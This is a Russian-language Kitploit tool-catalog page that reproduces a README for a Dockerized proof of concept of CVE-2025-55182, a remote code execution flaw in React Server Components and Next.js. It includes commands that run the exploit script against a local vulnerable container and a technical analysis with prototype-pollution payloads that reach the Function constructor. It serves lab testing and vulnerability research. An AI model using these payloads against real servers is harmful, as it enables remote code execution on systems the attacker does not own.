Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-Dockerized — Dockerized proof-of-concept для CVE-2025-55182, критический RCE в React Server Components через prototype pollution, с автоматизированными exploit scripts и уязвимым тестовым окружением Next.js. | Kitploit
Инструменты/GitHubGitHub/clevernyyyy/cve-2025-55182-dockerized
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubclevernyyyy/cve-2025-55182-dockerized

CVE-2025-55182-Dockerized

Dockerized proof-of-concept для CVE-2025-55182, критический RCE в React Server Components через prototype pollution, с автоматизированными exploit scripts и уязвимым тестовым окружением Next.js.

Репозиторий
1147 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 - Dockerized Proof of Concept (Контейнеризованная PoC)

Этот репозиторий содержит контейнеризованную proof of concept для CVE-2025-55182, критической уязвимости удаленного выполнения кода в React Server Components (RSC), затрагивающей приложения Next.js, использующие Server Actions.

Авторы

Оригинальная proof of concept и анализ уязвимости были созданы msanft. Этот репозиторий расширяет их работу, предоставляя контейнеризованную тестовую среду для упрощения тестирования и демонстрации.

Быстрый старт

Предварительные требования

  • Установленный и запущенный Docker
  • Python 3 с библиотекой requests (pip install requests)

Запуск эксплойта

  1. Запустите уязвимый сервер Next.js:

    docker compose up --build -d
    
  2. Дождитесь запуска сервера (проверьте логи с помощью docker compose logs -f nextjs-server)

  3. Запустите эксплойт:

    # Автоматизированный скрипт (рекомендуется)
    ./exploit-docker.sh
    
    # Или вручную
    ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
  4. Проверьте, что эксплойт сработал:

    docker compose exec nextjs-server ls -la /tmp/rce_test
    

Примеры команд

# Создать файл
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# Записать в файл
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# Узнать текущего пользователя
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# Проверить результаты
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user

Важные замечания

  • ⚠️ Ошибки тайм-аута ОЖИДАЕМЫ — они указывают на успешное выполнение RCE
  • Сервер зависает после выполнения команды, что вызывает тайм-аут HTTP
  • Команды выполняются от имени пользователя nextjs (UID 1001) внутри контейнера
  • Файлы создаются в файловой системе контейнера, а не на хосте

Docker-настройка

Этот репозиторий включает полную Docker-настройку для тестирования уязвимости:

  • docker-compose.yml — конфигурация Docker Compose
  • test-server/ — уязвимое приложение Next.js
  • test-server/Dockerfile — продакшн Dockerfile
  • test-server/Dockerfile.dev — Dockerfile для разработки (опционально)

Уязвимый сервер работает на Next.js 16.0.6 с простым Server Action, который можно эксплуатировать.

Файлы

  • poc.py — скрипт proof of concept на Python (оригинал от msanft, с исправлением экранирования кавычек)
  • exploit-docker.sh — автоматизированный скрипт эксплойта для Docker-среды
  • DOCKER_SETUP.md — подробная документация по настройке Docker

Очистка

# Остановить контейнер
docker compose down

# Удалить всё (включая тома)
docker compose down -v

Оригинальный анализ уязвимости

Детальный анализ уязвимости, цепочка эксплуатации и информация об исправлении из оригинального исследования приведены ниже.


Оригинальное исследование от msanft

Эта уязвимость позволяет выполнение произвольного кода (RCE) в React Server Functions, например, как они реализованы в Next.js, через небезопасные ссылки на прототипы.

Я не эксперт в React или Next.js, поэтому относитесь ко всей информации здесь с осторожностью. Кроме того, я всё ещё нахожусь в процессе анализа, так что то, что я описываю ниже как "уязвимость", может быть лишь маленькой частью полной цепочки.

Предыстория

React предлагает Server Functions[^1], которые можно рассматривать как своего рода RPC через HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или для выполнения аутентифицированных запросов, для которых у клиента нет учетных данных.

React использует так называемый React Flight Protocol[^2] для сериализации значений, передаваемых Server Functions.

Клиент передаёт "чанки" (chunks) на сервер, например, через form data:

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Как показано, они могут содержать ссылки друг на друга. Приведённая выше полезная нагрузка десериализуется на сервере в:

{ object: 'fruit', name: 'cherry' }

Формат сам по себе немного сложнее и позволяет более сложную сериализацию и десериализацию, но это даёт базовое понимание для реальной уязвимости.

Уязвимость

До этого коммита[^3] при обходе чанков для разрешения ссылок, например, при получении fruitName из чанка 2 в примере выше, React не проверял, установлен ли запрашиваемый ключ в объекте. Это позволяло получить прототип объекта[^4].

Это можно продемонстрировать такой полезной нагрузкой:

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Которая десериализуется в конструктор функций[^5]:

[Function: Function]

Когда чанк с ID 0 — не массив, а объект, мы можем установить ключ then в конструктор функций. Затем объект возвращается функцией decodeReplyFromBusboy и ожидается (awaited) Next.js:

// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Когда возвращается thenable, await в вызывающем коде вызовет его. Это и происходит с такой полезной нагрузкой:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Что приводит к ошибке:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

Ошибка выглядит так, потому что V8 вызывает ожидаемую (awaited) функцию с внутренними функциями resolve и reject, которые, будучи приведёнными к строке (toString), сериализуются примерно так:

function () { [native code] }

Эксплуатация

Поскольку мы можем тривиально получить конструктор Function, прямой путь — найти call-gadget, который вызывает конструктор с контролируемым пользователем значением (т.е., кодом функции в виде строки), а затем вызывает возвращённую функцию.

Есть несколько мест, которые могут вызвать конструктор функций, например, resolveServerReference, где id — контролируемый объект, lastIndexOf может быть переопределён для возврата контролируемой строки (например, через Array.prototype.join), а slice может быть переопределён на конструктор функций. Однако это место не работает, потому что второй вызов .slice() передаёт число в качестве первого аргумента, которое, насколько мне известно, никогда не может быть обработано конструктором функций.

Здесь приходит блестящая идея от maple3142[^7]. Когда getChunk берёт чанк с ID 0 как корневую ссылку для начала разрешения цепочки ссылок, этот же самый чанк может разрешиться в поддельный "фейковый чанк".

Мы можем сослаться на поддельный чанк 0 в чанке 1 с помощью синтаксиса $@, который возвращает "сырой" чанк, а не его разрешённое значение:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Комбинируя это с нашей перезаписью then выше, мы можем создать нечто подобное:

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Здесь чанк 0 перезаписывает свой собственный .then() на .then() своего собственного сырого представления чанка. Проще говоря, мы перезаписываем свой собственный .then() на Chunk.prototype.then, который существует, поскольку Chunk являются thenable:

Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

С приведённой выше полезной нагрузкой Chunk.prototype.then в конечном итоге вызывается с поддельным чанком с ID 0.

Скачать инструмент